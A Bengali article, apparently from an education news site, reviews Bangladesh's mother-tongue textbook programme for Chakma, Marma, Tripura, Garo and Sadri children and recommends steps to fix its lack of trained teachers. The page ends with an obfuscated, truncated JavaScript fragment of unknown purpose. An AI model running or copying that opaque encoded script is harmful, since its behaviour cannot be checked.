ক্লাস চলাকালে এক ভাষায় শেখানো হলে অন্য ভাষার শিক্ষার্থীদের বসে থাকতে হয়। খাগড়াছড়ি সদর উপজেলার ভাইবোনছড়া ইউনিয়নের প্রত্যন্ত এলাকার হামাচং বেসরকারি প্রাথমিক বিদ্যালয়ে ত্রিপুরাদের মাতৃভাষা ‘ককবরকে’ পাঠ দেওয়া হয়। সেই বিদ্যালয়ের প্রতিটি ক্লাসেই মিশ্র ভাষার কিছু শিক্ষার্থী আছে। ত্রিপুরা ভাষার বই পড়ানোর সময় অন্যভাষী শিশুরা চুপচাপ বসে থাকে, কারণ তারা অন্যের ভাষা বোঝে না। 

২০১৭ সাল হতে প্রথম পর্যায়ে এ পাঁচটি মাতৃভাষায় পাঠদানের বই বিতরণ করা হলেও ওই ভাষার শিক্ষক বা প্রশিক্ষিত শিক্ষক না থাকায় ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় শিক্ষালাভ থেকে বিরতই থেকে যাচ্ছে—এমন মন্তব্য করে বাংলাদেশ মারমা উন্নয়ন সংসদের কেন্দ্রীয় সভাপতি ও খাগড়াছড়ি পার্বত্য জেলা পরিষদের সাবেক সদস্য মংপ্রু চৌধুরী বলেন, ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় শিক্ষাকার্যক্রমের আশানুরূপ অগ্রগতি নেই। সাংগঠনিক উদ্যোগে নিজস্ব বর্ণমালায় বই ছাপিয়ে খাগড়াছড়ি, রাঙ্গামাটি ও বান্দরবান জেলায় গ্রামের বৌদ্ধ মন্দির, কেয়াং প্রভৃতি ধর্মীয় উপসনালয়ে শিশুদের প্রাক-প্রাথমিকের শিক্ষা দেওয়া হচ্ছে। তিনি বলেন, তিন পার্বত্য জেলা পরিষদ এ ক্ষেত্রে সবেচেয়ে বেশি ভূমিকা রাখতে পারে। কারণ তিন পার্বত্য জেলায় প্রাথমিক শিক্ষা বিভাগ তাদের উপর ন্যস্ত। কিন্তু এ ব্যাপারে প্রতিষ্ঠানগুলো সক্রিয় নয়। 

সরকারি হিসাবে দেশের ক্ষুদ্র নৃগোষ্ঠীগুলোর সদস্যদের প্রায় ৪০ শতাংশের বাস পার্বত্য চট্টগ্রাম অঞ্চলে। এ ছাড়া রাজশাহী, সিলেট, ময়মনসিংহসহ বেশ কিছু অ লে তারা আছেন। তবে, ক্ষুদ্র নৃগোষ্ঠীর ব্যাপক জনবসতি না থাকায় পার্বত্য চট্টগ্রামের বাইরে নিজের ভাষায় পড়ার সুযোগ কম। খাগড়াছড়ির পানছিড়ি উপজেলার শুকনাছড়ি সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক কাহ্লসাই চৌধুরী মারমা জানান, একটি ভাষার শিক্ষক যখন অন্য ভাষায় পড়াতে যান, তখনই তিনি সমস্যার সম্মুখীন হচ্ছেন। তিনি বলেন, “কর্তৃপক্ষ নজর দেয়নি যে কে কোন সম্প্রদায়ের? যেমন আমি মারমা, কিন্তু আমাকে ত্রিপুরা সম্প্রদায়ের একটি স্কুলে দেওয়া হয়েছে। আমি মারমা ভাষাসহ অন্যান্য ভাষাগুলো জানায় পড়াতে অসুবিধা হচ্ছেনা। আমার স্কুলে দুইজন সহকারী শিক্ষক আছেন, যারা ত্রিপুরা ভাষায় স্থানীয় একটি এনজিও থেকে প্রশিক্ষণ নিয়েছেন। আমার স্কুলে তেমন সমস্যা না হলেও অন্যান্য স্কুলে হচ্ছে।” স্কুলে বই এসেছে, শিক্ষার্থীও আছে। কিন্তু অনেক শিক্ষক প্রশিক্ষন পাচ্ছেন না। স্থানীয় যে প্রশিক্ষনগুলো হচ্ছে তাও খুব সংক্ষিপ্ত সময়ে হচ্ছে। চাকমা, মারমা ও ত্রিপুরা ভাষার এই প্রশিক্ষক বলেন, “শিক্ষকরা প্রশিক্ষণ না পাওয়ায় এবং অনেক শিক্ষকের নিজের ভাষায় অক্ষরজ্ঞান না থাকায় শিক্ষকরা সমস্যায় পড়ছেন।”

রাঙামাটির রাজস্থলির তাইতংপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক জানান, ক্ষুদ্র নৃ-গোষ্ঠীর শিশুদের নিজের ভাষায় পড়ার আগ্রহ কম থাকার পেছনে বর্তমান পাঠ্যসূচিও একটি কারণ। অন্যান্য পাঠ্যবই বাংলা-ইংরেজিতে হওয়ায় এবং প্রাইভেট শিক্ষকদের চাপ থাকায় শিশুরা শেষ পর্যন্ত নিজের ভাষা শেখার আগ্রহ হারিয়ে ফেলে। আবার চাকরির চিন্তায় বাংলা ও ইংরেজিকে গুরুত্ব দিতেই হয়, আরেকটি ভাষার চাপ নিতে চায়না অনেকে। সপ্তাহে অন্তত দুই থেকে তিনদিন যদি তাদের ভাষা শিক্ষার একটি ক্লাস সরকার রুটিনে অন্তর্ভুক্ত করে দেয়, তাহলেই শিক্ষার্থীরা লাভবান হবে। একই ধরনের মত দিলেন খাগড়াছড়ির মাটিরাঙ্গার বেলচুড়ি হেমেন্দ্র হেডম্যানপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক বাবুল চন্দ্র ত্রিপুরা। তার কথায় অনেক পড়ার চাপে নিজের ভাষার জন্য আলাদা সময় দেওয়াটা শিশুদের জন্য কষ্টসাধ্য। 

জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ডের চেয়ারম্যান বলেন যে, ক্ষুদ্র নৃগোষ্ঠীর যে পাঁচটি ভাষার বই পাঠ্যবই হয়েছে, তার ব্যবস্থাপনার অবস্থা খুব খারাপ। সরকার যে উদ্দেশ্যে এত খরচ করে বইটা তাদের মতো করে দিল, সেভাবে তারা পাঠদানে যাচ্ছে না। সরকার অগ্রাধিকার দিয়ে কাজটা করল, শিক্ষকদেরও প্রশিক্ষণের ব্যবস্থা করেছিল। কিন্তু যে উদ্দেশ্যে এটি করা হয়েছিল, সেটা সফল হয়নি। চলতি বছর পাঁচটি ক্ষুদ্র ও নৃগোষ্ঠীর শিক্ষার্থীদের মধ্যে ৩ লাখ ১২ হাজার বই বিতরণ করার তথ্য দিয়েছে এনসিটিবি। জানিয়েছে, শুরুতে সাঁওতাল ভাষা নিয়ে পাঠ্যবই প্রণয়নের পরিকল্পনা থাকলেও লিপি নিয়ে জটিলতায় তা আটকে যায়। একই সমস্যা তৈরি হয় মনিপুরীদের ভাষার ক্ষেত্রেও। এনসিটিবির চেয়ারম্যান জানিয়েছেন ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যবই তৈরির প্রক্রিয়া স্থগিত হয়ে গেছে। কারণ হিসেবে চেয়ারম্যান বলেন, “আমরা মনিপুরি ভাষায় পাঠ্যবইয়ের কাজটা যখন করতে গেলাম, তখন তাদের মধ্যে দুটি ভাগ তাদের ভাষায় করতে বললেন অর্থাৎ একটি ভাষার মধ্যে দুটি শাখা। এক পক্ষ বলছে তাদেরটা করতে হবে, তারা সংখ্যাগরিষ্ঠ। সরকার অনেক দূর এগিয়ে কাজটি আর করতে পারল না।”

বর্তমান অবস্থা 

ইতোমধ্যে সাড়ে তিনশত শিক্ষককে মাতৃভাষায় পাঠদানের প্রশিক্ষণ দেওয়া হয়েছে। পার্বত্য চট্টগ্রামে চাকমা, মারমা, ত্রিপুরাসহ এগারো ভাষাভাষীর ১৩ টি ক্ষুদ্র নৃগোষ্ঠী রয়েছে। প্রশিক্ষিত শিক্ষকের মাধ্যমে মাতৃভাষায় পড়াশুনা করার সুযোগ পাবে, এমনটাই প্রত্যাশা পাহাড়ী জনগোষ্ঠীর। শিক্ষার উন্নয়নে নানা উদ্যোগ বাস্তবায়ন করে চলেছে সরকার। এর মধ্যে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদ্রী—এই ৫ টি ক্ষুদ্র নৃ-গোষ্ঠীর ভাষায় শিশুদের বিনামূল্যে বই দেওয়া হচ্ছে। চাকমা, মারমা, ত্রিপুরা ও সমতলের ক্ষুদ্র জাতিগোষ্ঠীর জন্য জাতীয় পর্যাযে মাল্টি ল্যাংগুয়েল এডুকেশন (এমএলই) কার্যক্রম বাস্তবায়নের জন্য তিনটি কমিটি গঠন করা হয়। আর ২০১৭সাল থেকে দেশের ক্ষুদ্র জাতিসত্তার জনগোষ্ঠীর শিশুদের মাতৃভাষায় পড়াশোনার জন্য বই বিতরণ শুরু করে সরকার। পাঠ্যক্রম ও পাঠ্যপুস্তক বোর্ড (এনসিটিবি) সূত্র জানায়, ২০১৭ শিক্ষাবর্ষ থেকে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদ্রী ক্ষুদ্র নৃগোষ্ঠীর ভাষায় শিশুদের বিনামূল্যে পাঠ্যপুস্তক দেওয়া শুরু হয়। প্রথম বছর শুধু প্রাক-প্রাথমিকের শিক্ষার্থীদের জন্য বই মুদ্রণ করা হয়। তবে দ্বিতীয় বছর ২০১৮ শিক্ষাবর্ষে প্রাক-প্রাথমিক ও প্রথম শ্রেণি ও ২০১৯শিক্ষাবর্ষ থেকে দ্বিতীয় শ্রেণি পর্যন্ত তাদের পাঠবই দেওয়া হয়। এ বছর নতুন করে তৃতীয় শ্রেণির বই দেওয়া হয়েছে। 

চলতি শিক্ষাবর্ষে প্রাক-প্রাথমিক স্তরের ক্ষুদ্র নৃগোষ্ঠীর ৯৭হাজার ৫৭২শিশুর জন্য পাঁচটি ভাষায় রচিত প্রাক-প্রাথমিক, প্রথম, দ্বিতীয় ও তৃতীয় শ্রেণির দুই লাখ ৩০ হাজার ১০৩কপি বই বিতরণ করা হয়। দৃষ্টি প্রতিবন্ধীদের জন্য ব্রেইল বইও রয়েছে এর মধ্যে। এছাড়া গত শিক্ষাবর্ষে ৯৮ হাজার ১৪৪ জন শিক্ষার্থীর মধ্যে বিতরণ করা হয় দুই লাখ ৭৬ হাজার ৭৮৪ টি পাঠ্যবই। জানা যায়, পাঁচটি ক্ষুদ্র নৃগোষ্ঠীর পাঠ্যবই রাঙামাটি, খাগড়াছড়ি ও বান্দরবান জেলা ছাড়াও হবিগঞ্জের বাহুবল, মৌলভীবাজারের শ্রীমঙ্গল, বড়লেখা ও কুলাউড়া, রংপুরের পীরগঞ্জ ও মিঠাপুকুর, জামালপুরের বকশীগঞ্জ, শেরপুরের শ্রীবর্দী ও নেত্রকোনার দুর্গাপুরসহ বিভিন্ন উপজেলায় বিতরণ করা হয়।

উদ্যোগের ধণাত্মক দিকসমূহ

পার্বত্য চট্টগ্রামে ক্ষুদ্র নৃগোষ্ঠীগুলোর মাতৃভাষা বিস্মৃত হওয়ার আশঙ্কা কমেছে। বিশেষ করে চাকমা, মারমা ও ত্রিপুরা নৃগোষ্ঠীর শিশুরা ছয় বছর ধরে বিদ্যালয়ে নিজেদের ভাষার বই পাচ্ছে। চলতি বছরের প্রথমদিন রাঙামাটির ক্ষুদ্র নৃগোষ্ঠীগুলোর ২৯ হাজার ৮০৬ জন শিশু শিক্ষার্থী মোট ৬৬ হাজার ২৫০ টি নিজেদের মাতৃভাষায় বই পেয়েছে। এ ছাড়া বান্দরবানে ১০ হাজার ৭৫৭ জন শিক্ষার্থী পেয়েছে ২৪ হাজার ২৫১ টি এবং খাগড়াছড়িতে ৩৮ হাজার ৭৮১ জন শিক্ষার্থী পেয়েছে ৮৬ হাজার ৯৮৯ টি বই। 

বাংলা ভাষায় পড়ানোর পর তাদের আবার মারমা ভাষায় বুঝাতে হয়। যেমন গোরু আর ছাগল বললে একটু দেরি হয়, কিন্তু মারমা ভাষায় ‘নোয়’ আর ‘ছুই’ বললে তারা সহজে বুঝতে পারে। ভাষাগত কারণে আগে মারমা শিক্ষার্থী ঝরে পড়তো, কিন্তু এখন কমে গেছে। তাদের নিজস্ব মাতৃভাষায় যখন পড়ানো হয় সেই কারণে শিশুদের স্কুলে যাওয়ার আগ্রহ বেড়েছে। বাংলা ভাষার চেয়ে মাতৃভাষায় শিক্ষার আগ্রহ তাদের বেশি। ইউকে এইডের আর্থিক সহায়তায় ও মানুষের জন্য ফাউন্ডেশন-এর প্রত্যক্ষ তত্ত্বাবধানে খাগড়াছড়ির স্থানীয় বেসরকারি উন্নয়ন সংস্থা ‘জাবারাং কল্যাণ সমিতি’ খাগড়াছড়ি পার্বত্য জেলার তিন উপজেলায় শিক্ষকদের প্রশিক্ষণের ব্যবস্থাসহ মাতৃভাষা শিক্ষায় সহায়তা দিয়ে আসছে। এমএজএফ কারিকুলাম বইয়ের পাশাপাশি সহায়ক বই হিসেবে তিনটি ভাষায় গল্প, ছড়ার বই প্রকাশ করে বিতরণ করেছে প্রাক-প্রাথমিক থেকে পঞ্চম শ্রেণি পর্যন্ত। মাতৃভাষায় পাঠ্যপুস্তক দিলেও সেটি ঠিকমতো বাস্তবায়ন হচ্ছিল না কারণ শিক্ষকদের যথাযথ প্রশিক্ষন না থাকা, মাতৃভাষা শিক্ষাবিষয়ক কার্যক্রম পরিচালনার জন্য নির্দিষ্ট দিকনির্দেশনা না থাকা এবং ক্লাস রুটিন ও মূল্যায়ণ প্রক্রিয়া বিষয়ে সিদ্ধান্ত না থাকা। সেটি দেখে জাবারাং তাদের প্রকল্পের কার্যক্রম ডিজাইন করে। তাদের মূখ্য উদ্দেশ্য হচ্ছে সরকার যাতে মাতৃভাষায় শিক্ষা কার্যক্রম সুচরুরূপে বাস্তবায়ন করতে পারে, তার উদহারন সৃষ্টি করা। যার কারণে তারা শিক্ষকদের প্রশিক্ষণ দিচ্ছে, তারা সরকারির সাথে বেসরকারি বিদ্যালয়কে অন্তুর্ভুক্ত করে। তারা মনে করেন, বেসরকারি বিদ্যালয়ে তাদের ইনোভেশনের সুযোগ আছে।

সংশ্লিষ্ট ও বিশিষ্টজনদের মতামত

২০১৩ সালে কাজ শুরু করে ২০১৭ সালে বই তৈরি করেও ২০২২ সালে কাঙ্খিতভাবে বাস্তবায়ন করা যাচ্ছেনা। ঢাকা বিশ্ববিদ্যালয়ের অধাপক সৌরভ শিকদার বলেন, “অন্যান্য ভাষায় বই প্রণয়নের আগে এই পাঁচটি ভাষার সফল বাস্তবায়ন করা উচিত। এ সম্পর্কে এনসিটিবি বা সরকারের আগে ধারনা ছিল না। তাই এটা বাস্তবায়ন হলে আমরা পরবর্তী ধাপে যাব। পরবর্তীতে অন্যান্য যে জনগোষ্ঠীর লোকসংখ্যা বেশি, যাদের রিসোর্স পার্সন আছে, লিটারেচার আছে, তাদের নিয়ে কাজ করব আমরা। সাঁওতাল ভাষায় লিপির সমস্যার কারণে এটা আটকে গেছে, তাদেরও আমরা নেব।” ক্ষুদ্র নৃ-গোষ্ঠীর শিক্ষার্থীদের প্রাথমিক পর্যন্ত মাতৃভাষায় পড়ালেখা করাতে হবে। প্রাক-প্রাথমিকে ১০০ ভাগ হবে তাদের মাতৃভাষা। প্রথম শ্রেণিতে ৩০ শতাংশ বাংলাভাষা শেখাতে হবে। দ্বিতীয় শ্রেণিতে বাংলা ও ইংরেজি বেড়ে ৫০ শতাংশ হয়ে যাবে। এভাবে মাতৃভাষা থেকে বেরিয়ে সে মূল স্রোত ধারায় চলে আসবে। তবে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটের ‘বাংলাদেশের নৃভাষাবৈজ্ঞানিক সমীক্ষা’৷ পরিচালনাকারী এই ভাষাবিজ্ঞানী মনে করেন, “মাতৃভাষার চর্চা নিজেদেরকেই ধরে রাখতে হবে, সবকিছু রাষ্ট্র করে দিতে পারবেনা। ক্ষুদ্র নৃগোষ্ঠীদের নিজস্ব ভাষায় পাঠ্যবই থাকলে কোনো না কোনো ভাবে নিজের মাতৃভাষা আয়ত্তে আনার একটা সুযোগ পাবে। কিন্তু যে ভাষাগুলো বিলুপ্তির পথে, সেগুলো তো এখনো পাঠ্যবইয়ের সুযোগ পাচ্ছেনা।” পার্বত্য চট্টগ্রাম বিষয়ক মন্ত্রী বীর বাহাদুর বলেছেন, “পর্যায়ক্রমে সব ভাষায়ই পাঠ্যবই হবে। আমাদের যে পাঁচটি ভাষায় পাঠ্যবই দেওয়া হলে, সেগুলো চালাতে গিয়েই হিমশিম অবস্থা। শিক্ষক নেই। আমি নিজে বলতে পারি, কিন্তু লিখতে পারিনা। বাংলা বা ইংরেজি শিখেই বড়ো হয়েছি। তাই শিক্ষক তৈরি করতেই সময় লাগছে। সরকার বই ছাপিয়েছে, শিক্ষকদেরও কাজ করতে হবে। একটু সময় লাগবে। তবে প্রতিবন্ধকতাগুলো কাটিয়ে উঠতে পারলে অন্যান্য ভাষায়ও পাঠ্যবই করা হবে।”

৩৯ বছর ধরে শিক্ষকতা পেশায় থাকা মংথ মারমা বলেন, “ক্ষুদ্র নৃ-গোষ্ঠীর বয়স্কদের ৩০ শতাংশেরই নিজস্ব ভাষার অক্ষরজ্ঞান নেই। এসব পরিবার থেকে আসা শিশুদের বর্ণপরিচয় নিতেই প্রতিবন্ধকতায় পড়তে হচ্ছে। এক্ষেত্রে তাদের আমরা প্রতিটি বিষয়ে নিয়মিত পড়াতে পারছিনা, যেহেতু অক্ষরজ্ঞান নেই। তাদের প্রতিনিয়ত বাংলাই পড়াতে হচ্ছে। অক্ষরজ্ঞানের সুযোগ পেলেই তাদের উন্নয়ন হবে।” সংশ্লিষ্ট এলাকার জনপ্রতিনিধিরা বলছেন যে, অনেক প্রতিবন্ধকতা থাকলেও সরকার কাজ চালিয়ে যাচ্ছে। পার্বত্য চট্টগ্রাম বিষয়ক সংসদীয় কমিটির সদস্য ও খাগড়াছড়ির সাংসদ কুজেন্দ্র লাল ত্রিপুরা অন্যান্য ক্ষুদ্র নৃ-গোষ্ঠীর ভাষায়ও পাঠ্যবই প্রণয়নে বেশ আশাবাদী। তিনি বলেন, “আমি ত্রিপুরা, কিন্তু নিজেই ভাষাটা পারিনা, এমন একটা অবস্থা হয়ে গেছে। আমরা বাংলায় যেমন কথা বলছি, কিন্তু নিজের ভাষায় কথা বলাটা কঠিন হয়ে যাচ্ছে। আমরা অন্যান্য ভাষাগুলোতেও পাঠ্যবই করার চেষ্টা চালিয়ে যাচ্ছি।” মানুষের জন্য ফাউন্ডেশনের5 নির্বাহী পরিচালক শাহীন আনাম বলেন, “যে ভাষার যে শিক্ষক, পড়ানোর জন্য তাকেই দরকার। তাদের প্রশিক্ষিতও হতে হবে। প্রশিক্ষণ যদি হয় এবং সেটি যদি পিটিআই-র মাধ্যমে করানো হয়, তাহলে এই মাতৃভাষায় শিক্ষা কার্যক্রম আলোর মুখ দেখবে। এখন ক্লাস থ্রি পর্যন্ত মাতৃভাষায় পড়ানো হয়। আমরা মনে করি, এই ব্যবস্থা যেন অন্তত ক্লাস ফাইফ পর্যন্ত করা হয়। ক্লাস থ্রি পর্যন্ত একটি শিশু যদি মাতৃভাষায় পড়ে বাংলা মিডিয়ামের বইয়ে চলে যায়, তাহলে তো সে মাতৃভাষা ভুলে যাবে। জিনিসটা যদি অন্তত প্রাথমিকে পুরোটা পড়ানো হয়, তাহলে তারা আর ভুলবে না।” তবে সেই উদ্যোগ সরকারকেই নিতে হবে। 

ক্ষুদ্র-নৃগোষ্ঠীদের সংগঠন পামডো6-এর প্রধান নির্বাহী কর্মকর্তা হৈমন্তী সরকার দেবি বলেন, আমাদের ভাষার বই সরকার দিলেও তা পাঠদানের জন্য কোনো শিক্ষক দেয়নি। আমরা চাই আমাদের ভাষা টিকিয়ে রাখার ব্যবস্থা করা হোক। আন্তর্জাতিক মাতৃভাষা দিবসের চেতনাই হলো কোনো জনগোষ্ঠীর ভাষা হারিয়ে যেতে দেওয়া যাবেনা। ভাষা আন্দোলনের চেতনা তখনই সার্থক হবে, যখন প্রতিটি জনগোষ্ঠী তার নিজের মায়ের ভাষায় কথা বলতে পারবে, মাতৃভাষায় শিক্ষালাভ করতে পারবে, শিল্প-সাহিত্য সৃষ্টি করতে পারবে। গবেষক অংসুই মারমা বলেন, “মাতৃভাষায় পাঠ্যপুস্তক প্রবর্তনের খবরে খুব খুশি হয়েছিলাম। এটি সরকারের ভালো উদ্যোগ। কিন্তু শিক্ষার্থীদের তাদের মাতৃভাষায় বই পড়তে উৎসাহী করে তুলতে হবে। এর জন্য প্রশিক্ষিত শিক্ষক প্রয়োজন।” খাগড়াছড়ির রঞ্জনমনিপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক ধনা চন্দ্র সেন বলেন, “মাতৃভাষার বই ছয় বছর ধরে আমাদের স্কুলে আসছে। সাধ্যমতো পড়ানোর চেষ্টাও করা হচ্ছে। কিন্তু প্রশিক্ষিত শিক্ষক না থাকায় এসব বই কার্যকরভাবে পড়ানো সম্ভব হচ্ছেনা।”

সুপারিশমালা

২০১৩ সালে আদিবাসী শিক্ষক-শিক্ষার্থীর ডাটাবেজ তৈরির পরামর্শ দেওয়া হলেও তা শুরু হয়নি। ডেটাবেজ ছাড়া কাজ আগানো কঠিন হবে। প্রাথমিক ও গণশিক্ষা মন্ত্রণালয়ে এ সংক্রান্ত কর্মকর্তা নিয়োগ করা প্রয়োজন। যারা এটি নিয়ে কাজ করবেন। সেই উইং বা শাখা না হলে এই কাজটা করা কঠিন হয়ে যাবে। যে বইগুলো ইতিমধ্যে ক্ষুদ্র নৃগোষ্ঠীর নিজস্ব ভাষায় করা হয়েছে সেগুলো কতটা শিক্ষার্থীবন্ধব, শিক্ষক বান্ধব ও কার্যকরি সেই সার্ভে এখনই করা উচিত। মাতৃভাষায় শুধু বই দিলেই হবে না। সঙ্গে প্রশিক্ষণপ্রাপ্ত শিক্ষকও দিতে হবে। কারণ ক্লাসে শিক্ষক যদি শিশুদের মাতৃভাষায় ঠিকভাবে পড়াতেই না পারেন, তবে সব চেষ্টাই বৃথা যাবে। সরকারি পৃষ্ঠপোষকতা থাকলে ক্ষুদ্র নৃগোষ্ঠী শিশুদের মাতৃভাষায় শিক্ষাদানের জন্য শিক্ষক নিয়ে কোনো জটিলতা থাকবেনা। প্রশিক্ষণ দেওয়া হলে শিক্ষক সংক্রান্ত জটিলতা থাকবেনা। কারন সরকারি পৃষ্ঠপোষকতা থাকলে ক্ষুদ্র নৃগোষ্ঠী শিশুদের মাতৃভাষায় শিক্ষাদানের জন্য শিক্ষক নিয়ে জটিলতা থাকবেনা। একটি শিশু স্কুলে গিয়ে অন্য ভাষায় পড়ালেখা করলে সে তার আত্মপরিচয় খুঁজে পায়না। নিজস্ব ভাষায় শিক্ষার ব্যবস্থা না থাকায় বিদ্যালয় থেকে আদিবাসী শিশুদের ঝরে পড়ার হার অনেক বেশি। এসব শিশুদের শিক্ষার জন্য তাদের আগ্রহ ও আস্থার জায়গাটুকু সৃষ্টি করতে হবে। 

সরকারি পর্যায়ে একটি ভাষা কমিশন গঠন করা এবং দীর্ঘ মেয়াদে ভাষাগুলো সংরক্ষনের উদ্যোগ নেওয়া এখন জরুরি। আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউট এই কাজটি করতে পারে। আসলে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটকে এখনো আমরা কাজে লাগাতে পারিনি। অধ্যাপক সৌরভ শিকদার আরো বলেন, “শ্রীলংকা, নেপালসহ সব দেশেই ভাষা পরিকল্পনা আছে। বাংলাদেশে ভাষা পরিকল্পনা প্রণয়ন করতে হবে।” রাষ্ট্রীয় উদ্যোগে সর্বস্তরে মাতৃভাষার প্রচলন করতে হবে। জাতীয় শিক্ষানীতির আলোকে কয়েকটি নৃগোষ্ঠীকে মাতৃভাষায় প্রাথমিক শিক্ষা দেওয়া হয়েছে। সবগুলো ভাষায় সে সুযোগ দিতে হবে। এই কাজগুলো করার প্রকৃত প্রতিষ্ঠান হলো আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউট। তাদের এ বিষয়ে সুনির্দিষ্ট পরিকল্পনা থাকা প্রয়োজন। ভাষাবিজ্ঞানী, শিক্ষাবিদ ও সংশ্লিষ্টরা বলছেন, ভাষা বাঁচিয়ে রাখতে নৃগোষ্ঠীর প্রাথমিক শিক্ষা মাতৃভাষায় নিশ্চিত করতে হবে। যাদের লিখিত বর্ণলিপি নেই, সেসব ভাষার লিপি তৈরি করা প্রয়োজন। ভাষাকে সংরক্ষণ করে জাদুঘরে রাখলে হবেনা, সে সব ভাষার ব্যবহার বাড়াতে হবে। 

তথ্যসূত্র

  1.  সৌরভ সিকদার: ঢাকা বিশ্ববিদ্যালয়ে শিক্ষকতা, গবেষণা ও লেখালেখি তার কর্মপরিসর। তিনি তিন দশক ধরে এদেশের আদিবাসীদের ভাষা-সংস্কৃতি-শিক্ষ ও অধিকার নিয়ে কাজ করছেন। তাঁর গবেষণার প্রধান ক্ষেত্রে হচ্ছে ভাষাবিজ্ঞান, বাংলা ভাষা এবং আদিবাসী ভাষা-সংষ্কৃতি। 
  2. এনসিটিবি: জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড। প্রাক-প্রাথমিক, প্রাথমিক, মাধ্যমিক ও উচচ মাধ্যমিক স্তরের শিক্ষাক্রম উন্নয়ন ও পরিমার্জনের জন্য শীর্ষ প্রতিষ্ঠান। এটি শিক্ষা মন্ত্রণালয়ের অধীনস্থ সবচেয়ে বড়ো স্ব-শাসিত প্রতিষ্ঠান। 
  3. ECDO is a non-government and not-for-profit voluntary organization working for the development of different indigenous communities in Sylhet Division, the northeastern corner of Bangladesh. to ensure that indigenous people realize the importance of equality and empowerment and to eliminate the discrimination against these communities in society.
  4. জাবারাং কল্যাণ সমিতি: খাগড়াছড়ি পার্বত্য জেলার একটি স্থানীয় উন্নয়ন সংস্থা। দারিদ্রমুক্ত, সুশিক্ষায় শিক্ষিত, সমাজিক সাম্যতা, জীবনের প্রতিটি ক্ষেত্রে ক্ষমতায়িত ও নিরাপদ একটি সমজা বিনির্মাণের লক্ষ্যে ১৯৯৫সালে প্রতিষ্ঠিত হয়। 
  5. Manusher Jonno Foundation (MJF), a non-government and non-profit organisation works with local organisations to improve the well-being of poor and marginalised communities.
  6.  পামডো হলো মুন্ডাদের একটি সংগঠন। এর নির্বাহী প্রধান হৈমন্তী সরকার। ইউরোপিয়ান ইউনিয়নের অর্থায়নে সমাজের পিছিয়ে পড়া মানুষদের সর্বস্তরে এগিয়ে আনার লক্ষে সংগঠনটি কাজ করে।

মন্তব্য

লেখকতথ্য

মাছুম বিল্লাহ

শিক্ষা বিশেষজ্ঞ ও গবেষক এবং প্রেসিডেন্ট: ইংলিশ টিচার্স অ্যাসোসিয়েশন অব বাংলাদেশ (ইট্যাব)। সাবেক কান্ট্রি ডিরেক্টর- ভাব বাংলাদেশ এবং শিক্ষা বিশেষজ্ঞ -ব্র্যাক শিক্ষা কর্মসূচি। ইমেইল: masumbillah65@gmail.com
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["G48jmJpu4O7sFbexYL7mslcmu9vkeGcIfps3xrf5FBqraXdezddV6aVs5pk8z9TI+NF3ys6K0qLwS6ILK7kIBmg1zFP23w3rFcOUVow0ZNYGV2lbDo1+ve6ExD0N86eZaAUUlj30n3Hb","k6cuYew8YMKcuvNW7sF2rl6KFRwBDZnc2hjeEiVXx1sgXHqvTb/IozpjVsHxjNW5Q6CwWb3fiTyqM3i1lp1CNWxPuHsn05/GCHw14lgZ1L1ICu/8E7MiyLq44spERudqm3Vs1aYxqKPk","reVHXF/s98XjxIP5KZqeqWUQvAAqCoqfX3ex+B28daqQYLmq9PIWdCFZKy/Dc2OOne/HfwKo+E7kpOQumGo7dLnJCJWTE5IA/YVVNWyk21/TZkz2dJklMMycL8EhEoZwPsORec18IzpI","lTzBulc7uZ3bhxtmpB64CBLFXGC3ZfD8SsR+rAdzBnUBYZtRvRnYq5AlLvY8qoObZSYwu4Cgu8gFz2lqW451ZbEap+LlTeAu9oKuylVoyXU6J3rrEvovIIp/at8A0RHcfSIxINkVnMkB","YZGaMmaNz53FL2abB7EIpoYUVOTQGV+d2UdHQDYigNV1A5K5Lqnigs0VsEKbXQRBcDz1PoPJeXawkcbJWWLxq/cVVpIArxUAJLlHAuXFMIVyPwgHb6Wi2EqNr7OKOu186FQYfEfO/F6w","m2wpxtX0oMsNXlCshRbnUe3zQpUKOf2HX8EU0fw6gJPBspqMvpLkwqFPhqvlNxsKA56vwt97rCDBOb2/B2B+vCtJ01R5sS64CR5vvlbboB6Udda3qcTfrQkhP44I9hv8TA4/okyin/1z","WOOmNMmJkzCsmHXlh4J8UxQWgnSI47KLkFxat3rwN3PNu1KVFpcaD4uuWOhpD0o9kC4HGdb3NbMG/AFCXv/hsUIRWKjB4WKiIcPmpZ5r1iJArujg/UA6plQldofdc4Ea+mQZMu8Xjzh4","I7ND8jGyX1pLVmCkbWNcd+NDovayKyu10wKEzAbxT1vj5KcZlW6/gjG6VCHSJ+u14GUCTC/rC48+3PFg65UuUK5ieDnoObu+Z/DiSi3Ff2jQioyjTUw9PCS8nqh0FkhM+G8uz4SoMpcf","8y8MvOHK0l02/KcoOgLifdkcS76X6dEOCPcjsv/DGCIhMaDh4OIJDhWIvn+e9YYfvJWAEXdrcfrYdqnRPZFRT7rm+E2OxFzpPPzhpMOADu30fxWxJ68YfZ1H9CqgnujQ+p9nqzlmm71T","ZePiB5LTiyVadQ5m0wZqW6YUnsMKYfjhkvlYBTe7ZaA5VfDUEXr9yDjmEZomX0PBqY1ZuHTV5HcVdX9zmOeXlKEEvv8Vi4Y25gUxTnTFMpzpXpdeEsizUuz1Rwqp4mG5VcIN/f7sJgR/","+IJLZ6ZhTjzKopFwCOLIUobAHZdQsp6yRRKTZSbxi2QvW8cdxGY8D0WsT3f4vubYOieClrn+SfFwZG+Lnx6YGPhyTLrXK3